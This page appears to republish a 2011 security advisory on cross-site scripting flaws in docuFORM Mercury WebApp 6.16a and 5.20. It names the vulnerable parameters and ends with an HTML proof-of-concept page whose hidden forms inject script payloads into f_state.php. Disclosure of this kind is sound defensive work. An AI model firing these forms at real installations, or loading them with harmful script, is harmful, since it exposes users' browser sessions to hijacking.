docuFORM Mercury WebApp 6.16a/5.20 Multiple XSS Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

docuFORM Mercury WebApp 6.16a/5.20 Multiple XSS Vulnerabilities. Vendor: docuFORM GmbH. Affected version: 6.16a and 5.20. Attackers can execute arbitrary HTML and script code in a user's browser session


                                                &#60;!--


docuFORM Mercury WebApp 6.16a/5.20 Multiple Cross-Site Scripting Vulnerabilities


Vendor: docuFORM GmbH
Product web page: http://www.docuform.de
Affected version: 6.16a and 5.20

Summary: Unlimited options for production printing and customer solutions.

Desc: The Mercury Web Application suffers from multiple XSS vulnerabilities when
parsing user input thru the GET parameter &#39;this_url&#39; and the POST parameter &#39;aa_sfunc&#39;
in f_state.php, f_list.php, f_job.php and f_header.php scripts. Attackers can exploit
these weaknesses to execute arbitrary HTML and script code in a user&#39;s browser session.

Tested on: Mercury HTTP and Database Server 6.16

Vulnerability discovered by Gjoko &#39;LiquidWorm&#39; Krstic


Advisory ID: ZSL-2011-5010
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5010.php


14.04.2011


--&#62;


&#60;html&#62;&#60;title&#62;docuFORM Mercury WebApp 6.16a Multiple Cross-Site Scripting Vulnerabilities&#60;/title&#62;
&#60;body bgcolor=&#34;#1C1C1C&#34;&#62;
&#60;script type=&#34;text/javascript&#34;&#62;
function xss1(){document.forms[&#34;xss1&#34;].submit();}
function xss2(){document.forms[&#34;xss2&#34;].submit();}
&#60;/script&#62;&#60;br /&#62;&#60;br /&#62;
&#60;form action=&#34;http://192.168.16.100:8181/Mercury/f_state.php&#34; enctype=&#34;application/x-www-form-urlencoded&#34; method=&#34;POST&#34; id=&#34;xss1&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;aa_afunc&#34; value=&#34;call&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;aa_sfunc&#34; value=&#34;1&#60;script&#62;alert(1)&#60;/script&#62;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;aa_cfunc&#34; value=&#34;OnAgentGetDeviceList&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;aa_sfunc_args%5B%5D&#34; value=&#34;0&#34; /&#62;&#60;/form&#62;
&#60;form action=&#34;http://192.168.16.100:8181/Mercury/f_state.php&#34; enctype=&#34;application/x-www-form-urlencoded&#34; method=&#34;GET&#34; id=&#34;xss2&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;ajaxagent&#34; value=&#34;js&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;this_url&#34; value=&#34;1--&#62;&#60;script&#62;alert(2)&#60;/script&#62;&#34; /&#62;&#60;/form&#62;
&#60;a href=&#34;javascript:xss1();&#34; style=&#34;text-decoration:none&#34;&#62;
&#60;b&#62;&#60;font color=&#34;red&#34;&#62;&#60;center&#62;&#60;h3&#62;&#39;aa_sfunc&#39; param&#60;/h3&#62;&#60;/center&#62;&#60;/font&#62;&#60;/b&#62;&#60;/a&#62;&#60;br /&#62;
&#60;a href=&#34;javascript:xss2();&#34; style=&#34;text-decoration:none&#34;&#62;
&#60;b&#62;&#60;font color=&#34;red&#34;&#62;&#60;center&#62;&#60;h3&#62;&#39;this_url&#39; param&#60;/h3&#62;&#60;/center&#62;&#60;/font&#62;&#60;/b&#62;&#60;/a&#62;&#60;br /&#62;
&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1